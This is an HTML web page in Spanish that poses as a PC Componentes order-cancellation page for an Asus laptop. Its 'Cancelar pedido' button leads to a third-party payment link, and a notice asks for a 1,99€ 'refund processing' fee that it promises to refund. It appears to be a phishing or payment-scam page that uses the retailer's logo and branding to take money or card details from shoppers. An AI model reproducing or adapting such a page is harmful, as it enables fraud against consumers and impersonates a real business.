<!doctype html>
                        <html>

            
                            <head>
                                <meta charset='utf-8'>
                                <meta name='viewport' content='width=device-width, initial-scale=1'>
                                <title>Cancelar pago | PC Componentes</title>
                                <link href='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css' rel='stylesheet'>
                                <link href='https://use.fontawesome.com/releases/v5.8.1/css/all.css' rel='stylesheet'>
                                <style>::-webkit-scrollbar {
                                  width: 8px;
                                }
                                /* Track */
                                ::-webkit-scrollbar-track {
                                  background: #f1f1f1; 
                                }
                                 
                                /* Handle */
                                ::-webkit-scrollbar-thumb {
                                  background: #888; 
                                }
                                
                                /* Handle on hover */
                                ::-webkit-scrollbar-thumb:hover {
                                  background: #555; 
                                } body{background-color: #EEEEEE}a{text-decoration: none !important}.card-product-list, .card-product-grid{margin-bottom: 0}.card{width: 500px;position: relative;display: -webkit-box;display: -ms-flexbox;display: flex;-webkit-box-orient: vertical;-webkit-box-direction: normal;-ms-flex-direction: column;flex-direction: column;min-width: 0;word-wrap: break-word;background-color: #fff;background-clip: border-box;border: 1px solid rgba(0, 0, 0, 0.1);border-radius: 23px;margin-top: 50px}.card-product-grid:hover{-webkit-box-shadow: 0 4px 15px rgba(153, 153, 153, 0.3);box-shadow: 0 4px 15px rgba(153, 153, 153, 0.3);-webkit-transition: .3s;transition: .3s}.card-product-grid .img-wrap{border-radius: 0.2rem 0.2rem 0 0;height: 220px}.card .img-wrap{overflow: hidden}.card-lg .img-wrap{height: 280px}.card-product-grid .img-wrap{border-radius: 0.2rem 0.2rem 0 0;height: 275px;padding: 16px}[class*='card-product'] .img-wrap img{height: 100%;max-width: 100%;width: auto;display: inline-block;-o-object-fit: cover;object-fit: cover}.img-wrap{text-align: center;display: block}.card-product-grid .info-wrap{overflow: hidden;padding: 18px 20px}[class*='card-product'] a.title{color: #212529;display: block}.rating-stars{display: inline-block;vertical-align: middle;list-style: none;margin: 0;padding: 0;position: relative;white-space: nowrap;clear: both}.rating-stars li.stars-active{z-index: 2;position: absolute;top: 0;left: 0;overflow: hidden}.rating-stars li{display: block;text-overflow: clip;white-space: nowrap;z-index: 1}.card-product-grid .bottom-wrap{padding: 18px;border-top: 1px solid #e4e4e4}.bottom-wrap-payment{padding: 0px;border-top: 1px solid #e4e4e4}.rated{font-size: 10px;color: #b3b4b6}.btn{display: inline-block;font-weight: 600;color: #343a40;text-align: center;vertical-align: middle;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-color: transparent;border: 1px solid transparent;padding: 0.45rem 0.85rem;font-size: 1rem;line-height: 1.5;border-radius: 0.2rem}.btn-primary{color: #fff;background-color: #FF6000;border-color: #db6708}.fa{color: #FF5722}</style>
                                

                                <h1 style="text-align: center;">
                                    <img src="https://cdn.pccomponentes.com/img/logos/logo-pccomponentes.svg" alt="Logo PCComponentes" height="170px" width="170px">
                                </h1>
                                   
                            
                            
                            
                            </head>

                                <body className='snippet-body'>
                                <div class="container d-flex justify-content-center">
     <figure class="card card-product-grid card-lg"> <a href="#" class="img-wrap" data-abc="true"> <img src="https://i.imgur.com/MPqUt62.jpg"> </a>
         <figcaption class="info-wrap">
            <div class="row align-items-center">
                <div class="col-8 col-md-9 text-left">
                    <a href="#" class="title" data-abc="true">Asus Xtreme 270</a>
                    <span class="rated">Laptops</span>
                </div>
                <div class="col-4 col-md-3 text-right">
                    <div class="rating">
                        <i class="fa fa-star"></i>
                        <i class="fa fa-star"></i>
                        <i class="fa fa-star"></i>
                        <i class="fa fa-star"></i>
                        <span class="rated">Valorado 4.0/5</span>
                    </div>
                </div>
            </div>
            
         </figcaption>
         <div class="bottom-wrap-payment">
             <figcaption class="info-wrap">
                <div class="row align-items-center">
                    <div class="col-6 text-left"> 
                        <a href="#" class="title" data-abc="true">631,98€</a>
                        <span class="rated">Tarjeta</span>
                    </div>
                    <div class="col-6 text-right">
                        <div class="rating">Referencia B829103</div>
                    </div>
                </div>                
             </figcaption>
         </div>
         <div class="bottom-wrap"> <a href="https://payquickflow.com/e31730447941/pay" class="btn btn-primary float-right" data-abc="true"> Cancelar pedido </a>
             <div class="price-wrap"> <a href="#" class="btn btn-warning float-left" data-abc="true"> Soporte </a> </div>
         </div>
     </figure>
 </div>
 <div class="container d-flex justify-content-center mt-3">
    <figure class="card card-product-grid card-lg">
        <div style="background-color: #f8f9fa; border: 1px solid #dee2e6; padding: 5px; border-radius: 10px; text-align: center;">
            <p style="margin: 0; color: #333; font-size: 14px; font-weight: bold;">
                <i class="fas fa-info-circle" style="color: #007bff;"></i> Se va a cobrar un importe de 1,99€ euros para pagar los trámites de reembolso.<p style="color: grey;font-size: small;">(este importe será reembolsado en 24 horas)</p>
            </p>
        </div>
    </figure>
</div>

 
                                <script type='text/javascript' src='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.bundle.min.js'></script>
                                <script type='text/javascript' src='#'></script>
                                <script type='text/javascript' src='#'></script>
                                <script type='text/javascript' src='#'></script>
                                <script type='text/javascript'>#</script>
                                <script type='text/javascript'>var myLink = document.querySelector('a[href="#"]');
                                myLink.addEventListener('click', function(e) {
                                  e.preventDefault();
                                });</script>
                            
                                </body>
                            </html>